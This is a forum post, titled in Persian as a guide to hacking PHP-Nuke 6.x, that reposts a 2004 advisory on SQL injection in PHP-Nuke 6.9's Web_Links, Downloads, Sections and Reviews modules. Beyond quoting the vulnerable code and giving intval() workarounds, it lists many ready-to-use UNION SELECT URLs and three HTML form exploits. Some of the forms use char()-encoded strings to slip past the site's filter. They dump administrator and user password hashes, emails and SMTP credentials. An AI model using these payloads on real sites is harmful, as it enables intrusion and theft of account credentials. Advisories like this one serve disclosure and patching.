هك كردن PHP-Nuke 6.x با استفاده از حفره SQL Injection
[align=left:73fe66bbf0]PHP-Nuke 6.9 SQL Injection Vulnerability
Posted on 02 February 2004
Security Corporation Security Advisory [SCSA-027]
PROGRAM: PHP-Nuke
HOMEPAGE:
http://www.phpnuke.org
VULNERABLE VERSIONS: 6.9 and Prior
RISK: MEDIUM/HIGH
IMPACT: SQL Injection
RELEASE DATE: 2004-02-01
Security Corporation's Free weekly Newsletter :
http://www.security-corporation.com/newsletter.html
======================================================================
TABLE OF CONTENTS
======================================================================
1..........................................................DESCRIPTION
2..............................................................DETAILS
3.............................................................EXPLOITS
4............................................................SOLUTIONS
5...........................................................WORKAROUND
6..................................................DISCLOSURE TIMELINE
7..............................................................CREDITS
8...........................................................DISCLAIMER
9...........................................................REFERENCES
10............................................................FEEDBACK
1. DESCRIPTION
======================================================================
"PHP-Nuke is a news automated system specially designed to be used in Intranets and Internet. The Administrator has total control of his web site, registered users, and he will have in the hand a powerful assembly of tools to maintain an active and 100% interactive web site using databases"
More information is available at
http://www.phpnuke.org
2. DETAILS
======================================================================
- SQL Injection :
PHP-Nuke contains an exploitable SQL injection vulnerability that can be used by attackers to cause the system to execute arbitrary SQL statements.
The first vulnerabilities has been discovered in the /modules/Web_Links/index.php file.
Vulnerable code :
----------------------------------------------------
[...]
function viewlink($cid, $min, $orderby, $show) {
[...]
$result = sql_query("select title,parentid from
".$prefix."_links_categories where cid=$cid", $dbi);
list($title,$parentid)=sql_fetch_row($result, $dbi);
[...]
$title="<a href=modules.php?name=Web_Links>"._MAIN."</a>/$title";
echo "<center><font class=\"option\">
"._CATEGORY.":
$title</font></center>< br>";
echo "<table border=\"0\" cellspacing=\"10\" cellpadding=\"0\"
align=\"center\"><tr>";
[...]
}
[...]
function brokenlink($lid) {
[...]
if (is_user($user)) {
[...]
$result = sql_query("select cid, title, url, description from
".$prefix."_links_links where lid=$lid", $dbi);
list($cid, $title, $url, $description) = sql_fetch_row($result, $dbi);
OpenTable();
echo "<center><font
class=\"option\">
"._REPORTBROKEN."</font>
<font
class=\"content\">";
echo "<form action=\"modules.php?name=Web_Links\" method=\"post\">";
echo "<input type=\"hidden\" name=\"lid\" value=\"$lid\">";
echo "<input type=\"hidden\" name=\"cid\" value=\"$cid\">";
echo "<input type=\"hidden\" name=\"title\" value=\"$title\">";
echo "<input type=\"hidden\" name=\"url\" value=\"$url\">";
echo "<input type=\"hidden\" name=\"description\" value=\"$description\">";
echo "<input type=\"hidden\" name=\"modifysubmitter\"
value=\"$ratinguser\">";
echo ""._THANKSBROKEN."< br>< br>";
echo "<input type=\"hidden\" name=\"l_op\" value=\"brokenlinkS\"><input
type=\"submit\" value=\""._REPORTBROKEN."\"></center></form>";
CloseTable();
include("footer.php");
} else {
Header("Location: modules.php?name=$module_name");
}
}
[...]
function visit($lid) {
global $prefix, $dbi;
sql_query("update ".$prefix."_links_links set hits=hits+1 where
lid=$lid", $dbi);
$result = sql_query("select url from ".$prefix."_links_links where
lid=$lid", $dbi);
list($url) = sql_fetch_row($result, $dbi);
Header("Location: $url");
}
[...]
function rateinfo($lid) {
global $prefix, $dbi;
sql_query("update ".$prefix."_links_links set hits=hits+1 where
lid=$lid", $dbi);
$result = sql_query("select url from ".$prefix."_links_links where
lid=$lid", $dbi);
list($url) = sql_fetch_row($result, $dbi);
Header("Location: $url");
}
[...]
function viewlinkcomments($lid, $ttitle) {
[...]
$result=sql_query("SELECT ratinguser, rating, ratingcomments,
ratingtimestamp FROM ".$prefix."_links_votedata WHERE ratinglid = $lid AND
ratingcomments != '' ORDER BY ratingtimestamp DESC", $dbi);
[...]
while(list($ratinguser, $rating, $ratingcomments,
$ratingtimestamp)=sql_fetch_row($result, $dbi)) {
$ratingcomments = stripslashes($ratingcomments);
[...]
echo "<tr><td bgcolor=\"$bgcolor2\">"
."<font class=\"content\">
"._USER.": <a
href=\"$nukeurl/modules.php?name=Your_Account&amp;op=userinfo&amp;username=$
ratinguser\">$ratinguser</a></font>"
[...]
echo " $ratingcomments</font>"
[...]
}
[...]
function viewlinkeditorial($lid, $ttitle) {
[...]
$result=sql_query("SELECT adminid, editorialtimestamp, editorialtext,
editorialtitle FROM ".$prefix."_links_editorials WHERE linkid = $lid",
$dbi);
$recordexist = sql_num_rows($result, $dbi);
[...]
if ($recordexist != 0) {
while(list($adminid, $editorialtimestamp, $editorialtext,
$editorialtitle)=sql_fetch_row($result, $dbi)) {
$editorialtitle = stripslashes($editorialtitle); $editorialtext =
stripslashes($editorialtext);
[...]
echo "<center><font
class=\"option\">
'$editorialtitle'</font></center>"
."<center><font class=\"tiny\">"._EDITORIALBY." $adminid -
$formatted_date</font></center>< br>< br>"
."$editorialtext";
[...]
}
[...]
switch($l_op) {
[...]
case "viewlink":
viewlink($cid, $min, $orderby, $show);
break;
case "brokenlink":
brokenlink($lid);
break;
[...]
case "visit":
visit($lid);
break;
case "rateinfo":
rateinfo($lid, $user, $title);
break;
[...]
case "viewlinkcomments":
viewlinkcomments($lid, $ttitle);
break;
[...]
case "viewlinkeditorial":
viewlinkeditorial($lid, $ttitle);
break;
[...]
}
?>
----------------------------------------------------
In every functions we can see an SQL request of the type : select title,parentid from ".$prefix."_links_categories where cid=$cid
Once executed, an element of this request is shown to the user. If, in this case with thefonction viewlink(), we give to $cid the value : 0 UNION SELECT pwd,0 FROM nuke_authors
The executed SQL request will be then :
select title,parentid from nuke_links_categories where cid=0 UNION SELECT pwd,0 FROM nuke_authors
We are thus going to go to look for in the table nuke_links_categories fields title and parentid where $cid is worth 0. However, this category does not exist.
We are then going to look for in the table nuke_authors the field "pwd". This table contains all the informations about the administrators, the passwords (pwd) being encrypted. The displaying will not be the name of the category, but the coded password of an administrator.
The seconds vulnerabilities has been discovered in the /modules/Downloads/index.php file.
Vulnerable code :
----------------------------------------------------
function viewdownload($cid, $min, $orderby, $show) {
[...]
$result2 = sql_query("SELECT cid, title, cdescription FROM
".$prefix."_downloads_categories WHERE parentid=$cid order by title", $dbi);
$count = 0;
while(list($cid2, $title2, $cdescription2) = sql_fetch_row($result2,
$dbi)) {
$cresult = sql_query("SELECT * FROM ".$prefix."_downloads_downloads
WHERE cid=$cid2", $dbi);
$cnumrows = sql_num_rows($cresult, $dbi);
echo "<td><font class=\"option\"><strong><big>·</big></strong> <a
href=\"modules.php?name=$module_name&d_op=viewdownload&amp;cid=$cid2\">
$t
itle2</a></font>
($cnumrows)";
[...]
if ($cdescription2) {
echo "<font class=\"content\">$cdescription2</font>< br>";
} else {
echo "< br>";
}
[...]
}
[...]
function getit($lid) {
global $prefix, $dbi;
sql_query("update ".$prefix."_downloads_downloads set hits=hits+1 WHERE
lid=$lid", $dbi);
$result = sql_query("SELECT url FROM ".$prefix."_downloads_downloads
WHERE lid=$lid", $dbi);
list($url) = sql_fetch_row($result, $dbi);
Header("Location: $url");
}
[...]
function viewdownloadeditorial($lid, $ttitle) {
[...]
$result=sql_query("SELECT adminid, editorialtimestamp, editorialtext,
editorialtitle FROM ".$prefix."_downloads_editorials WHERE downloadid =
$lid", $dbi);
$recordexist = sql_num_rows($result, $dbi);
[...]
if ($recordexist != 0) {
while(list($adminid, $editorialtimestamp, $editorialtext,
$editorialtitle)=sql_fetch_row($result, $dbi)) {
[...]
echo "<center><font
class=\"option\">
'$editorialtitle'</font></center>"
."<center><font class=\"tiny\">"._EDITORIALBY." $adminid -
$formatted_date</font></center>< br>< br>"
."$editorialtext";
[...]
}
[...]
}
[...]
function viewdownloadcomments($lid, $ttitle) {
[...]
$result=sql_query("SELECT ratinguser, rating, ratingcomments,
ratingtimestamp FROM ".$prefix."_downloads_votedata WHERE ratinglid = $lid
AND ratingcomments != '' ORDER BY ratingtimestamp DESC", $dbi);
[...]
while(list($ratinguser, $rating, $ratingcomments,
$ratingtimestamp)=sql_fetch_row($result, $dbi)) {
[...}
echo "<tr><td bgcolor=\"$bgcolor2\">"
."<font class=\"content\">
"._USER.": <a
href=\"$nukeurl/modules.php?name=Your_Account&amp;op=userinfo&amp;username=$
ratinguser\">$ratinguser</a></font>"
."</td>"
."<td bgcolor=\"$bgcolor2\">"
."<font class=\"content\">
"._RATING.": $rating</font>"
."</td>"
."<td bgcolor=\"$bgcolor2\" align=\"right\">"
."<font class=\"content\">$formatted_date</font>"
."</td>"
."</tr>"
."<tr>"
."<td valign=\"top\">"
."<font class=\"tiny\">"._USERAVGRATING.": $useravgrating</font>"
."</td>"
."<td valign=\"top\" colspan=\"2\">"
."<font class=\"tiny\">"._NUMRATINGS.": $usertotalcomments</font>"
."</td>"
."</tr>"
."<tr>"
."<td colspan=\"3\">"
."<font class=\"content\">";
[...]
}
[...]
}
[...]
}
[...]
function modifydownloadrequest($lid) {
[...]
if ($blocknow != 1) {
$result = sql_query("SELECT cid, title, url, description, name, email,
filesize, version, homepage FROM ".$prefix."_downloads_downloads WHERE
lid=$lid", $dbi);
echo "<center><font
class=\"option\">
"._REQUESTDOWNLOADMOD."</font>< br><font
class=\"content\">";
while(list($cid, $title, $url, $description, $auth_name, $email,
$filesize, $version, $homepage) = sql_fetch_row($result, $dbi)) {
$title = stripslashes($title);
$description = stripslashes($description);
echo "<form action=\"modules.php?name=$module_name\"
method=\"post\">"
.""._DOWNLOADID.":
$lid</center>< br>< br>< br>"
.""._DOWNLOADNAME.":< br><input type=\"text\" name=\"title\"
value=\"$title\" size=\"50\" maxlength=\"100\">< br>< br>"
.""._URL.":
<input type=\"text\" name=\"url\" value=\"$url\"
size=\"50\" maxlength=\"100\">< br>< br>"
.""._DESCRIPTION.":
<textarea name=\"description\" cols=\"60\"
rows=\"10\">$description</textarea>< br>< br>";
$result2=sql_query("SELECT cid, title FROM
".$prefix."_downloads_categories order by title", $dbi);
echo "<input type=\"hidden\" name=\"lid\" value=\"$lid\">"
."<input type=\"hidden\" name=\"modifysubmitter\" value=\"$ratinguser\">"
.""._CATEGORY.": <select name=\"cat\">";
[...]
echo "</select>< br>< br>"
.""._AUTHORNAME.":
<input type=\"text\" name=\"auth_name\"
value=\"$auth_name\" size=\"30\" maxlength=\"80\">< br>< br>"
.""._AUTHOREMAIL.":
<input type=\"text\" name=\"email\"
value=\"$email\" size=\"30\" maxlength=\"80\">< br>< br>"
.""._FILESIZE.": ("._INBYTES.")
<input type=\"text\" name=\"filesize\"
value=\"$filesize\" size=\"12\" maxlength=\"11\">< br>< br>"
.""._VERSION.":
<input type=\"text\" name=\"version\"
value=\"$version\" size=\"11\" maxlength=\"10\">< br>< br>"
.""._HOMEPAGE.":
<input type=\"text\" name=\"homepage\"
value=\"$homepage\" size=\"50\" maxlength=\"200\">< br>< br>"
."<input type=\"hidden\" name=\"d_op\" value=\"modifydownloadrequestS\">"
."<input type=\"submit\" value=\""._SENDREQUEST."\"></form>";
}
}
[...]
}
[...]
function rateinfo($lid) {
global $prefix, $dbi;
sql_query("update ".$prefix."_downloads_downloads set hits=hits+1 WHERE
lid=$lid", $dbi);
$result = sql_query("SELECT url FROM ".$prefix."_downloads_downloads
WHERE lid=$lid", $dbi);
list($url) = sql_fetch_row($result, $dbi);
Header("Location: $url");
}
[...]
switch($d_op) {
[...]
case "viewdownload":
viewdownload($cid, $min, $orderby, $show);
break;
[...]
case "modifydownloadrequest":
modifydownloadrequest($lid);
break;
[...]
case "getit":
getit($lid);
break;
[...]
case "rateinfo":
rateinfo($lid, $user, $title);
break;
[...]
case "viewdownloadcomments":
viewdownloadcomments($lid, $ttitle);
break;
[...]
case "viewdownloadeditorial":
viewdownloadeditorial($lid, $ttitle);
break;
[...]
}
?>
----------------------------------------------------
We can again notice that in every functions we can see that the SQL request containing a modifiable variable is not filtered.
To note that in all this case, and contrary to the usual cases of injection SQL, these problems are present as well when magic_quotes_gpc is ON or OFF.
The same problems have been also discovered in the /modules/Sections/index.php file.
In mainfile.php file we can see the following code :
----------------------------------------------------
foreach ($_GET as $secvalue) {
if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*object*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*iframe*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*applet*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*meta*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*style*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*form*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*img*\"?[^>]*>", $secvalue)) ||
(eregi("\([^>]*\"?[^)]*\)", $secvalue)) ||
(eregi("\"", $secvalue))) {
die ("I don't like you...");
}
}
foreach ($_POST as $secvalue) {
if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue))
|| (eregi("<[^>]*style*\"?[^>]*>", $secvalue))) {
Header("Location: index.php");
die();
}
}
----------------------------------------------------
As we can see, although GET requests are filtered, POST requests aren't.
It is thus possible to use the brackets in SQL injection by using a form.
3. EXPLOITS
======================================================================
- SQL Injection :
-
http://[target]/modules.php?name=Web_Links&l_op=viewlink&cid=1 UNION
SELECT%20pwd,0%20FROM%20nuke_authors%20LIMIT%201,2
- Will display both encrypted passwords of the administrator :
http://[target]/modules.php?name=Web_Links&l_op=viewlink&cid=0 UNION SEL
ECT%20pwd,0%20FROM%20nuke_authors
More information is available at :
http://www.security.nnov.ru/search/document.asp?docid=5201 Apparently this fault was already announced, but considering that it was discovered in same times of the others we decided to make a description here.
-
http://[target]/modules.php?name=Web_Links&l_op=brokenlink&lid=0 UNION
%20SELECT%201,aid,name,pwd%20FROM%20nuke_authors
Display the login, the name and the password of an administrator if the link 0 does not exist.
-
http://[target]/modules.php?name=Web_Links&l_op=visit&lid=-1 UNION
SELECT%20pwd%20FROM%20nuke_authors
Re-steer towards the encrypted password.
-
http://[target]/modules.php?name=Web_Links&l_op=viewlinkcomments&lid=-1
UNION%20SELECT%20aid,1,pwd,1%20FROM%20nuke_authors/*
Display all the logins administrator as well as their
encrypted passwords.
-
http://[target]/modules.php?name=Web_Links&l_op=viewlinkeditorial&lid=-1
%20UNION%20SELECT%20name,1,pwd,aid%20FROM%20nuke_authors
Display logins, names and encrypted passwords of all the administrators.
-
http://[target]/modules.php?name=Downloads&d_op=viewdownload&cid=-1
UNION%20SELECT%20user_id,username,user_password%20FROM%20nuke_users/*
Display all the pseudos of the users, followed by their encrypted password.
-
http://[target]/modules.php?name=Downloads&d_op=modifydownloadrequest&
lid=-1%20UNION%20SELECT%200,username,user_id,user_password,name,
user_email,user_level,0,0%20FROM%20nuke_users
Display logins, ID, encrypted passwords, names, emails and levels of
all the registered members.
-
http://[target]/modules.php?name=Downloads&d_op=getit&lid=-1 UNION
SELECT%20user_password%20FROM%20nuke_users%20WHERE%20user_id=5
-
http://[target]/modules.php?name=Downloads&d_op=rateinfo&lid=-1 UNION
SELECT%20user_password%20FROM%20nuke_users%20WHERE%20user_id=5
Re-steer towards the encrypted password of the user id of which is 5.
-
http://[target]/modules.php?name=Downloads&d_op=viewdownloadcomments&
lid=-1%20UNION%20SELECT%20username,user_id,user_password,1%20
FROM%20nuke_users/*
http://[target]/modules.php?name=Downloads&d_op=viewdownloadeditorial&lid=-1
%20UNION%20SELECT%20username,1,user_password,user_id%20FROM%20nuke_users
Display logins, ID and encrypted password of all the members.
-
http://[target]/modules.php?name=Sections&op=listarticles&secid=-1 UNION
%20SELECT%20pwd%20FROM%20nuke_authors
-
http://[target]/modules.php?name=Sections&op=listarticles&secid=-1 UNION
%20SELECT%200,0,pwd,0,0%20FROM%20nuke_authors%20WHERE%201/*
-
http://[target]/modules.php?name=Sections&op=printpage&artid=-1 UNION
SELECT%20aid,pwd%20FROM%20nuke_authors
http://[target]/modules.php?name=Sections&op=viewarticle&artid=-1 UNION
SELECT%200,0,aid,pwd,0%20FROM%20nuke_authors
-
http://[target]/modules.php?name=Reviews&rop=showcontent&id=-1 UNION
SELECT%200,0,aid,pwd,email,email,100,pwd,url,url,10000,name%20FROM%20nuke_autho
rs/*
- FORM :
--------------------PHPNUKEexploit1.html--------------------
<html>
<head><title>PHP-Nuke 6.9 SQL Injection Vulnerability Exploit</title></head>
<body>
<form method="POST" action="http://[target]/modules.php?name=Sections">
<input type="hidden" name="op" value="printpage">
<input type="text" name="artid" value="-1 UNION SELECT
CONCAT(name,char(58),aid),pwd FROM nuke_authors">
<input type="submit">
</form>
<p align="right">A patch can be found on <a
href="http://www.phpsecure.info" target="_blank">phpSecure.info</a>
For more informations about this exploit :
<a href="http://www.security-corporation.com/advisories-026.html"
target="_blank"> Security-Corporation.com</a></p>
</body>
</html>
--------------------PHPNUKEexploit1.html--------------------
--------------------PHPNUKEexploit2.html--------------------
<html>
<head><title>PHP-Nuke 6.9 SQL Injection Vulnerability Exploit</title></head>
<body>
<form method="POST" action="http://[target]/modules.php?name=Downloads">
<input type="hidden" name="d_op" value="viewdownloadeditorial">
<input type="text" name="lid" value="-1 UNION SELECT
config_name,0,config_value,0 FROM nuke_bbconfig where
config_name=char(115,109,116,112,95,104,111,115,116) OR
config_name=char(115,109,116,112,95,117,115,101,114,110,97,109,101) OR
config_name=char(115,109,116,112,95,112,97,115,115,119,111,114,100)">
<input type="submit">
</form>
<p align="right">A patch can be found on <a
href="http://www.phpsecure.info" target="_blank">phpSecure.info</a>
For more informations about this exploit :
<a href="http://www.security-corporation.com/advisories-026.html"
target="_blank"> Security-Corporation.com</a></p>
</body>
</html>
--------------------PHPNUKEexploit2.html--------------------
--------------------PHPNUKEexploit3.html--------------------
<html>
<head><title>PHP-Nuke 6.9 SQL Injection Vulnerability Exploit</title></head>
<body>
<form method="POST" action="http://[target]/modules.php?name=Downloads">
<input type="hidden" name="d_op" value="viewdownloadeditorial">
<input type="text" name="lid" value="-1 UNION SELECT
char(120),NOW(),char(32),CONCAT(char(60,98,114,62,76,111,103,105,110,32,58,3
2),uname,char(60,98,114,62,60,98,114,62,80,97,115,115,119,111,114,100,32,58,
32),passwd,char(60,98,114,62))
FROM nuke_popsettings">
<input type="submit">
</form>
<p align="right">A patch can be found on <a
href="http://www.phpsecure.info" target="_blank">phpSecure.info</a>< br>
For more informations about this exploit :
<a href="http://www.security-corporation.com/advisories-026.html"
target="_blank"> Security-Corporation.com</a></p>
</body>
</html>
--------------------PHPNUKEexploit3.html--------------------
4. SOLUTIONS
======================================================================
You can found patch at the following link :
http://www.phpsecure.info
The PHP-Nuke Team was notified and the version 7.0 has been fixed.
5. WORKAROUND
======================================================================
In /modules/Web_Links/index.php add the following lines
before "switch($l_op) {":
------------------------------------------------------------------------
$cid = intval($cid);
$min = intval($min);
$lid = intval($lid);
$parentid = intval($parentid);
------------------------------------------------------------------------
In /modules/Downloads/index.php add the following lines
before "switch($d_op) {":
------------------------------------------------------------------------
$cid = intval($cid);
$min = intval($min);
$sid = intval($sid);
$lid = intval($lid);
$cat = intval($cat);
------------------------------------------------------------------------
In /modules/Reviews/index.php add the following lines before "switch($rop) {":
------------------------------------------------------------------------
$id = intval($id);
$cid = intval($cid);
------------------------------------------------------------------------
In /modules/Sections/index.php add the following lines before "switch($op) {":
------------------------------------------------------------------------
$artid = intval($artid);
$secid = intval($secid);
------------------------------------------------------------------------
In /modules/Stories_Archive/index.php add the following line before "switch($sa) {":
------------------------------------------------------------------------
$min = intval($min);
------------------------------------------------------------------------
[/align:73fe66bbf0]
گوره باباي هرچي جوجه هكره
شماره تماس بنده اينه 
